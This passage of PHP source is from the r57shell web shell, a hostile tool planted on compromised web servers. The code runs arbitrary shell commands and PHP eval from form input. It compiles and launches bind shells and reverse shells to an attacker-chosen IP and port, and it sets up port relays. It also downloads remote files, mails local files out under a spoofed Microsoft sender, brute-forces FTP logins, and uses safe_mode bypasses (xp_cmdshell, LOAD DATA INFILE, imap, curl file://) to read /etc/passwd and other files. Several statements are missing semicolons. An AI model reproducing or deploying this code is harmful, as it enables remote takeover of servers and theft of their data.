  1593.  $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");       
  1594.  err(6+$res);
  1595.  $_POST['cmd']="";  
  1596.  }
  1597. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
  1598.  {  
  1599.  if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
  1600.  else
  1601.   {     
  1602.     $filename = @basename($_POST['loc_file']);
  1603.     $filedump = @fread($file,@filesize($_POST['loc_file']));
  1604.     fclose($file);
  1605.     $content_encoding=$mime_type='';
  1606.     compress($filename,$filedump,$_POST['compress']);
  1607.     $attach = array(
  1608.                     "name"=>$filename,
  1609.                     "type"=>$mime_type,
  1610.                     "content"=>$filedump
  1611.                    );
  1612.     if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
  1613.     if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
  1614.     $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
  1615.     err(6+$res);
  1616.     $_POST['cmd']="";                          
  1617.   }
  1618.  }
  1619. if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
  1620. {
  1621. $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
  1622. }
  1623. if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
  1624.  {
  1625.  switch($_POST['what'])
  1626.    {
  1627.    case 'own':
  1628.    @chown($_POST['param1'],$_POST['param2']);
  1629.    break;
  1630.    case 'grp':
  1631.    @chgrp($_POST['param1'],$_POST['param2']);
  1632.    break;
  1633.    case 'mod':
  1634.    @chmod($_POST['param1'],intval($_POST['param2'], 8));
  1635.    break;
  1636.    }
  1637.  $_POST['cmd']="";
  1638.  }
  1639. if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
  1640.  {
  1641.    switch($_POST['what'])
  1642.    {
  1643.      case 'file':
  1644.       if($_POST['action'] == "create")
  1645.        {
  1646.        if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
  1647.        else {
  1648.         fclose($file);
  1649.         $_POST['e_name'] = $_POST['mk_name'];
  1650.         $_POST['cmd']="edit_file";
  1651.         echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
  1652.         }
  1653.        }
  1654.        else if($_POST['action'] == "delete")
  1655.        {
  1656.        if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
  1657.        $_POST['cmd']="";
  1658.        }
  1659.      break;
  1660.      case 'dir':
  1661.       if($_POST['action'] == "create"){
  1662.       if(mkdir($_POST['mk_name']))
  1663.        {
  1664.          $_POST['cmd']="";
  1665.          echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
  1666.        }
  1667.       else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
  1668.       }
  1669.       else if($_POST['action'] == "delete"){
  1670.       if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
  1671.       $_POST['cmd']="";
  1672.       }
  1673.      break;
  1674.    }
  1675.  }
  1676. if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
  1677.  {
  1678.  if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
  1679.  if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
  1680.  else {
  1681.  echo $table_up3;
  1682.  echo $font;
  1683.  echo "<form name=save_file method=post>";
  1684.  echo ws(3)."<b>".$_POST['e_name']."</b>";
  1685.  echo "<div align=center><textarea name=e_text cols=121 rows=24>";
  1686.  echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
  1687.  fclose($file);
  1688.  echo "</textarea>";
  1689.  echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
  1690.  echo "<input type=hidden name=dir value=".$dir.">";
  1691.  echo "<input type=hidden name=cmd value=save_file>";
  1692.  echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
  1693.  echo "</div>";
  1694.  echo "</font>";
  1695.  echo "</form>";
  1696.  echo "</td></tr></table>";
  1697.  exit();
  1698.  }
  1699.  }
  1700. if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
  1701.  {
  1702.  $mtime = @filemtime($_POST['e_name']);
  1703.  if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
  1704.  else {
  1705.  if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
  1706.  @fwrite($file,$_POST['e_text']);
  1707.  @touch($_POST['e_name'],$mtime,$mtime);
  1708.  $_POST['cmd']="";
  1709.  echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
  1710.  }
  1711.  }
  1712. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
  1713. {
  1714.  cf("/tmp/bd.c",$port_bind_bd_c);
  1715.  $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
  1716.  @unlink("/tmp/bd.c");
  1717.  $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
  1718.  $_POST['cmd']="ps -aux | grep bd";
  1719. }
  1720. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
  1721. {
  1722.  cf("/tmp/bdpl",$port_bind_bd_pl);
  1723.  $p2=which("perl");
  1724.  $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
  1725.  $_POST['cmd']="ps -aux | grep bdpl";
  1726. }
  1727. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
  1728. {
  1729.  cf("/tmp/back",$back_connect);
  1730.  $p2=which("perl");
  1731.  $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
  1732.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  1733. }
  1734. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
  1735. {
  1736.  cf("/tmp/back.c",$back_connect_c);
  1737.  $blah = ex("gcc -o /tmp/backc /tmp/back.c");
  1738.  @unlink("/tmp/back.c");
  1739.  $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
  1740.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  1741. }
  1742. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
  1743. {
  1744.  cf("/tmp/dp",$datapipe_pl);
  1745.  $p2=which("perl");
  1746.  $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
  1747.  $_POST['cmd']="ps -aux | grep dp";
  1748. }
  1749. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
  1750. {
  1751.  cf("/tmp/dpc.c",$datapipe_c);
  1752.  $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
  1753.  @unlink("/tmp/dpc.c");
  1754.  $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
  1755.  $_POST['cmd']="ps -aux | grep dpc";
  1756. }
  1757. if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
  1758. if (!empty($HTTP_POST_FILES['userfile']['name']))
  1759. {
  1760. if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
  1761. else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
  1762. @copy($HTTP_POST_FILES['userfile']['tmp_name'],
  1763.             $_POST['dir']."/".$nfn)
  1764.       or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
  1765. }
  1766. if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
  1767. {
  1768.  switch($_POST['with'])
  1769.  {
  1770.  case wget:
  1771.  $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
  1772.  break;
  1773.  case fetch:
  1774.  $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
  1775.  break;
  1776.  case lynx:
  1777.  $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1778.  break;
  1779.  case links:
  1780.  $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1781.  break;
  1782.  case GET:
  1783.  $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  1784.  break;
  1785.  case curl:
  1786.  $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
  1787.  break;
  1788.  }
  1789. }
  1790. if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
  1791.  {
  1792.  list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  1793.  if(empty($ftp_port)) { $ftp_port = 21; }
  1794.  $connection = @ftp_connect ($ftp_server,$ftp_port,10)
  1795.  if(!$connection) { err(3); }
  1796.  else
  1797.   {    
  1798.   if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
  1799.   else
  1800.    {   
  1801.    if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);        }
  1802.    if($_POST['cmd']=="ftp_file_up")   { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);     }
  1803.    }
  1804.   }
  1805.  @ftp_close($connection);
  1806.  $_POST['cmd'] = "";
  1807.  }
  1808. if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute")
  1809.  {
  1810.  list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  1811.  if(empty($ftp_port)) { $ftp_port = 21; }
  1812.  $connection = @ftp_connect ($ftp_server,$ftp_port,10)
  1813.  if(!$connection) { err(3); $_POST['cmd'] = ""; }       
  1814.  else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
  1815.  @ftp_close($connection);
  1816.  }
  1817. echo $table_up3;
  1818. if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
  1819. else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
  1820. echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
  1821. if($safe_mode)
  1822. {
  1823.  switch($_POST['cmd'])
  1824.  {
  1825.  case 'safe_dir':
  1826.   $d=@dir($dir);
  1827.   if ($d)
  1828.    {
  1829.    while (false!==($file=$d->read()))
  1830.     {
  1831.      if ($file=="." || $file=="..") continue;
  1832.      @clearstatcache();
  1833.      list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
  1834.      if(!$unix){
  1835.      echo date("d.m.Y H:i",$mtime);
  1836.      if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
  1837.      }
  1838.      else{
  1839.      $owner = @posix_getpwuid($uid);
  1840.      $grgid = @posix_getgrgid($gid);
  1841.      echo $inode." ";
  1842.      echo perms(@fileperms($file));
  1843.      printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
  1844.      echo date("d.m.Y H:i ",$mtime);
  1845.      }
  1846.      echo "$file\n";
  1847.     }
  1848.    $d->close();
  1849.    }
  1850.   else echo $lang[$language._text29];
  1851.  break;
  1852.   case 'test1':
  1853.   $ci = @curl_init("file://".$_POST['test1_file']."");
  1854.   $cf = @curl_exec($ci);
  1855.   echo $cf;
  1856.   break;
  1857.   case 'test2':
  1858.   @include($_POST['test2_file']);
  1859.   break;
  1860.   case 'test3':
  1861.   if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; }
  1862.   $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
  1863.   if($db)
  1864.    {
  1865.    if(@mysql_select_db($_POST['test3_md'],$db))
  1866.     {
  1867.      @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
  1868.      @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
  1869.      @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
  1870.      $r = @mysql_query("SELECT * FROM temp_r57_table");
  1871.      while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
  1872.      @mysql_query("DROP TABLE IF EXISTS temp_r57_table");
  1873.     }
  1874.     else echo "[-] ERROR! Can't select database";
  1875.    @mysql_close($db);
  1876.    }
  1877.   else echo "[-] ERROR! Can't connect to mysql server";
  1878.   break;
  1879.   case 'test4':
  1880.   if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  1881.   $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  1882.   if($db)
  1883.    {
  1884.    if(@mssql_select_db($_POST['test4_md'],$db))
  1885.     {
  1886.      @mssql_query("drop table r57_temp_table",$db);
  1887.      @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
  1888.      @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
  1889.      $res = mssql_query("select * from r57_temp_table",$db);
  1890.      while(($row=@mssql_fetch_row($res)))
  1891.       {
  1892.       echo $row[0]."\r\n";
  1893.       } 
  1894.     @mssql_query("drop table r57_temp_table",$db);
  1895.     }
  1896.     else echo "[-] ERROR! Can't select database";
  1897.    @mssql_close($db);
  1898.    }
  1899.   else echo "[-] ERROR! Can't connect to MSSQL server";
  1900.   break;
  1901.   case 'test5':
  1902.   if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
  1903.   $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
  1904.   @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
  1905.   $lines = file ('/tmp/mb_send_mail');
  1906.   foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
  1907.   break;
  1908.   case 'test6':
  1909.   $stream = @imap_open('/etc/passwd', "", "")
  1910.   $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
  1911.   for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
  1912.   @imap_close($stream)
  1913.   break;
  1914.   case 'test7':
  1915.   $stream = @imap_open($_POST['test7_file'], "", "");
  1916.   $str = @imap_body($stream, 1);
  1917.   echo $str;
  1918.   @imap_close($stream)
  1919.   break;
  1920.   case 'test8':
  1921.   if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'];
  1922.   else echo $lang[$language.'_text119'];
  1923.   break;       
  1924.  }
  1925. }
  1926. else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){
  1927.  $cmd_rep = ex($_POST['cmd']);
  1928.  if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
  1929.  else { echo @htmlspecialchars($cmd_rep)."\n"; }}
  1930. if ($_POST['cmd']=="ftp_brute")
  1931.  {
  1932.  $suc = 0;
  1933.  foreach($users as $user)
  1934.   {     
  1935.   $connection = @ftp_connect($ftp_server,$ftp_port,10)
  1936.   if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; }
  1937.   else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } }
  1938.   @ftp_close($connection);
  1939.   }
  1940.  echo "\r\n-------------------------------------\r\n";
  1941.  $count = count($users);
  1942.  if(isset($_POST['reverse'])) { $count *= 2; }
  1943.  echo $lang[$language.'_text97'].$count."\r\n";
  1944.  echo $lang[$language.'_text98'].$suc."\r\n";
  1945.  }
  1946. if ($_POST['cmd']=="php_eval"){
  1947.  $eval = @str_replace("<?","",$_POST['php_eval']);
  1948.  $eval = @str_replace("?>","",$eval);
  1949.  @eval($eval);}
  1950. if ($_POST['cmd']=="mysql_dump")
  1951.  {
  1952.   if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
  1953.   $sql = new my_sql();
  1954.   $sql->db   = $_POST['db'];
  1955.   $sql->host = $_POST['db_server'];
  1956.   $sql->port = $_POST['db_port'];
  1957.   $sql->user = $_POST['mysql_l'];
  1958.   $sql->pass = $_POST['mysql_p'];       
  1959.   $sql->base = $_POST['mysql_db'];
  1960.   if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; }
  1961.   else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; }
  1962.   else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; }
  1963.   else {
  1964.    if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
  1965.    else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); }
  1966.    else { echo "[-] ERROR! Can't write in dump file"; }
  1967.    }
  1968.  }
  1969. echo "</textarea></div>";
  1970. echo "</b>";
  1971. echo "</td></tr></table>";
  1972. echo "<table width=100% cellpadding=0 cellspacing=0>";
  1973. function div_title($title, $id)
  1974. {
  1975.   return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
  1976. }
  1977. function div($id)
  1978.  {
  1979.  if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">';      
  1980.  return '<div id="'.$id.'">';
  1981.  }
  1982. if(!$safe_mode){
  1983. echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
  1984. echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
  1985. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  1986. echo $te.'</div>'.$table_end1.$fe;
  1987. }
  1988. else{
  1989. echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
  1990. echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
  1991. echo $te.'</div>'.$table_end1.$fe;
  1992. }
  1993. echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
  1994. echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
  1995. echo $te.'</div>'.$table_end1.$fe;
  1996. if($safe_mode){
  1997. echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
  1998. echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
  1999. echo $te.'</div>'.$table_end1.$fe;
  2000. }
  2001. if($safe_mode && $unix){
  2002. echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts;
  2003. echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2004. echo $te.'</div>'.$table_end1.$fe;
  2005. }
  2006. if(!$safe_mode){
  2007. $aliases2 = ''
  2008. foreach ($aliases as $alias_name=>$alias_cmd)
  2009.  {
  2010.  $aliases2 .= "<option>$alias_name</option>";
  2011.  }
  2012. echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts;
  2013. echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
  2014. echo $te.'</div>'.$table_end1.$fe;
  2015. }
  2016. echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts;
  2017. echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  2018. echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  2019. echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
  2020. echo $te.'</div>'.$table_end1.$fe;
  2021. if(!$safe_mode && $unix){
  2022. echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts;
  2023. echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
  2024. echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
  2025. echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
  2026. echo $te.'</div>'.$table_end1.$fe;
  2027. }
  2028. echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font;
  2029. echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>";
  2030. echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
  2031. echo "</textarea>";
  2032. echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
  2033. echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
  2034. echo "</div></div></font>";
  2035. echo $table_end1.$fe;
  2036. if($safe_mode&&$curl_on)
  2037. {
  2038. echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts;
  2039. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2040. echo $te.'</div>'.$table_end1.$fe;
  2041. }
  2042. if($safe_mode)
  2043. {
  2044. echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
  2045. echo "<table class=table1 width=100% align=center>";
  2046. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2047. echo $te.'</div>'.$table_end1.$fe;
  2048. }
  2049. if($safe_mode&&$mysql_on)
  2050. {
  2051. echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts;
  2052. echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
  2053. echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  2054. echo $te.'</div>'.$table_end1.$fe;
  2055. }
  2056. if($safe_mode&&$mssql_on)
  2057. {
  2058. echo $fs.$table_up1.div_title($lang